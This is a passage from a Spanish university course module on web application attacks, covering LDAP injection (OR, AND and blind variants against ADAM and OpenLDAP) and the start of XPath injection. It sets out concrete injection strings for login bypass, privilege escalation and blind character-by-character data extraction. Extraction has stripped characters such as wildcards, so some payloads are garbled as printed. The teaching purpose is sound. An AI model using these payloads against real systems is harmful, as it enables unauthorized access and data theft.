dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

